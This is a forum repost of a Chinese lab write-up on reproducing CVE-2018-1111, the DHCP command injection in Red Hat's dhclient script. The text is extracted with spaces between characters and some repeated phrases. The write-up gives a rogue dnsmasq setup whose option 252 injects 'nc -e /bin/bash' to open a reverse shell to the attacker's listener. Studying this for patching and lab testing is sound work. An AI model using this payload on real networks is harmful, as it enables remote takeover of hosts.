搜索

[13548] 2018-12-19_CVE-2018-1111复现环境搭建与dhcp命令注入

文档创建者：s7ckTeam
浏览次数：46
最后更新：2025-01-18
2018-12-19_CVE-2018-1111复现环境搭建与dhcp命令注入 C V E - 2 0 1 8 - 1 1 1 1 复 现 环 境 搭 建 与 d h c p 命 令 注 入 m 0 n s h a w   F r e e B u f   2 0 1 8 - 1 2 - 1 9 * 本 文 作 者 ： m 0 n s h a w ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 0 x 0 1   前 言 前 言 最 近 留 意 到 最 近 留 意 到 C V E - 2 0 1 8 - 1 1 1 1 这 个 洞 ， 关 于 这 个 洞 ， 关 于 d h c p 命 令 注 入 ， 便 想 复 现 一 波 。 命 令 注 入 ， 便 想 复 现 一 波 。 D H C P 是 一 个 局 域 网 的 网 络 协 议 ， 主 要 用 于 内 部 网 络 动 态 I P 地 址 分 配 。 R e d   H a t 提 供 的 D H C P 客 户 端 软 件 包 d h c l i e n t 的 脚 本 为 / e t c / N e t w o r k M a n a g e r / d i s p a t c h e r . d / 1 1 - d h c l i e n t （ R e d   H a t   E n t e r p r i s e   L i n u x   7 ） 和 / e t c / N e t w o r k M a n a g e r / d i s p a t c h e r . d / 1 0 - d h c l i e n t （ R e d   H a t   E n t e r p r i s e   L i n u x   6 ） 。 当 N e t w o r k M a n a g e r 组 件 从 D H C P 服 务 器 收 到 D H C P 响 应 时 执 行 该 脚 本 。 最 开 始 在 G i t h u b 上 找 到 一 个 D o c k e r 的 复 现 环 境 ， 尝 试 了 各 个 d o c k e r 镜 像 都 发 现 漏 洞 已 被 p a t c h e d 掉 了 ， 无 奈 只 能 在 V M 上 安 装 C e n t O S 虚 拟 机 。 h t t p s : / / g i t h u b . c o m / k n q y f 2 6 3 / C V E - 2 0 1 8 - 1 1 1 1 关 于 漏 洞 成 因 ， 该 文 章 已 经 分 析 的 很 清 楚 了 ， 这 里 不 再 赘 述 。 h t t p s : / / r e s e a r c h c e n t e r . p a l o a l t o n e t w o r k s . c o m / 2 0 1 8 / 0 7 / u n i t 4 2 - a n a l y s i s - d h c p - c l i e n t - s c r i p t - c o d e - e x e c u t i o n - v u l n e r a b i l i t y - c v e - 2 0 1 8 - 1 1 1 1 / 0 x 0 2   配 置 虚 拟 机 网 络 配 置 虚 拟 机 网 络 打 开 V M 虚 拟 网 络 编 辑 器 ， 设 置 仅 主 机 模 式 （ 关 掉 d h c p ， 设 置 i p ） 。 将 a t t a c k e r 、 v i c t i m 网 络 配 置 成 仅 主 机 模 式 ： 0 x 0 0 3   搭 建 搭 建 d h c p 服 务 服 务 先 在 k a l i 下 设 置 一 下 网 络 a t t a c k e r :   k a l i   l i n u x   2 0 1 8   x 6 4   1 9 2 . 1 6 8 . 7 1 . 5 v i c t i m :   C e n t o s   7   x 6 4   1 9 2 . 1 6 8 . 7 1 . 1 0 i f c o n f i g   e t h 0   1 9 2 . 1 6 8 . 7 1 . 5   n e t m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0 r o u t e   a d d   d e f a u l t   g w   1 9 2 . 1 6 8 . 7 1 . 5
现 在 设 置 成 1 9 2 . 1 6 8 . 7 1 . 5 的 i p 。 在 当 前 目 录 新 建 一 个 d n s m a s q . c o n f 文 件 ， 填 入 以 下 内 容 进 行 配 置 ： 参 数 解 释 ： 参 数 解 释 ： 其 中 配 置 文 件 中 包 括 的   o p t i o n   取 值 及 含 义 如 下 ： p a y l o a d   中 涉 及 到 的   o p t i o n   2 5 2   是 私 人 使 用 保 留 部 分 的 一 部 分 ,   为   d h c p   服 务 器 使 用   2 5 2 ， 然 后 在 他 们 的 浏 览 器 中 写 入 与 d h c p   服 务 器 交 谈 的 能 力 ， 并 要 求 代 码   2 5 2   从 该 选 项 列 出 的   U R L   中 获 取 关 于 网 络 上 代 理 设 置 的 信 息 。 这 里   d n s m a s q . c o n f 中 的 d h c p - r a n g e 设 置 ： d h c p - o p t i o n   3   网 关 地 址 和   d h c p - o p t i o n 6   D N S   服 务 器 均 设 置 为   k a l i   本 地 网 卡 的   i p   地 址 ， k a l i   的   i p   地 址 为 静 态   i p 。 0 x 0 4   命 令 注 入 命 令 注 入 利 用 d n s m a s q 伪 造 d n s 服 务 器 ， 命 令 执 行   p a y l o a d   如 下 ： b i n d - i n t e r f a c e s i n t e r f a c e = e t h 0 e x c e p t - i n t e r f a c e = l o d h c p - r a n g e = 1 9 2 . 1 6 8 . 7 1 . 1 0 , 1 9 2 . 1 6 8 . 7 1 . 2 0 , 1 2 h d h c p - o p t i o n = 3 , 1 9 2 . 1 6 8 . 7 1 . 5 d h c p - o p t i o n = 6 , 1 9 2 . 1 6 8 . 7 1 . 5 l o g - q u e r i e s l o g - f a c i l i t y = / v a r / l o g / d n s m a s q . l o g d h c p - r a n g e :   表 示 要 分 配 给 客 户 机 的   i p   地 址 范 围 和 租 约 时 间 d h c p - o p t i o n :   表 示 指 定 给   D H C P   客 户 端 的 选 项 信 息 l o g - f a c i l i t y :   表 示 日 志 记 录 器 3 :   设 置 网 关 地 址 选 项 6 :   设 置   D N S   服 务 器 地 址 选 项 2 5 2 :   为   D H C P   客 户 端 提 供 了 一 个 用 于 配 置 其 代 理 设 置 的   U R L ， w p a d - p r o x y - u r l 为   1 9 2 . 1 6 8 . 7 1 . 1 0 - 1 9 2 . 1 6 8 . 7 1 . 2 0 / 2 4   这 个   i p   地 址 范 围 ， 租 约 时 间 为   1 2 h 。 d n s m a s q   - d C   d n s m a s q . c o n f   - - d h c p - o p t i o n = " 2 5 2 , m a l a y k e ' & n c   - e   / b i n / b a s h   1 9 2 . 1 6 8 . 7 1 . 5   6 6 6 6   # "
监 听 6 6 6 6 端 口 ： 重 启 C e n t O S 的 网 络 服 务 ， 然 后 s h e l l 就 反 弹 回 来 了 ： 现 在 ， C e n t O S 的 i p 也 是 由 我 们 伪 造 d h c p 服 务 分 配 的 ( 范 围 在 1 9 2 . 1 6 8 . 7 1 . 1 0 ~ 1 9 2 . 1 6 8 . 7 1 . 2 0 ) 。 * 本 文 作 者 ： m 0 n s h a w ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 n c   - l   - p   6 6 6 6   - v
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理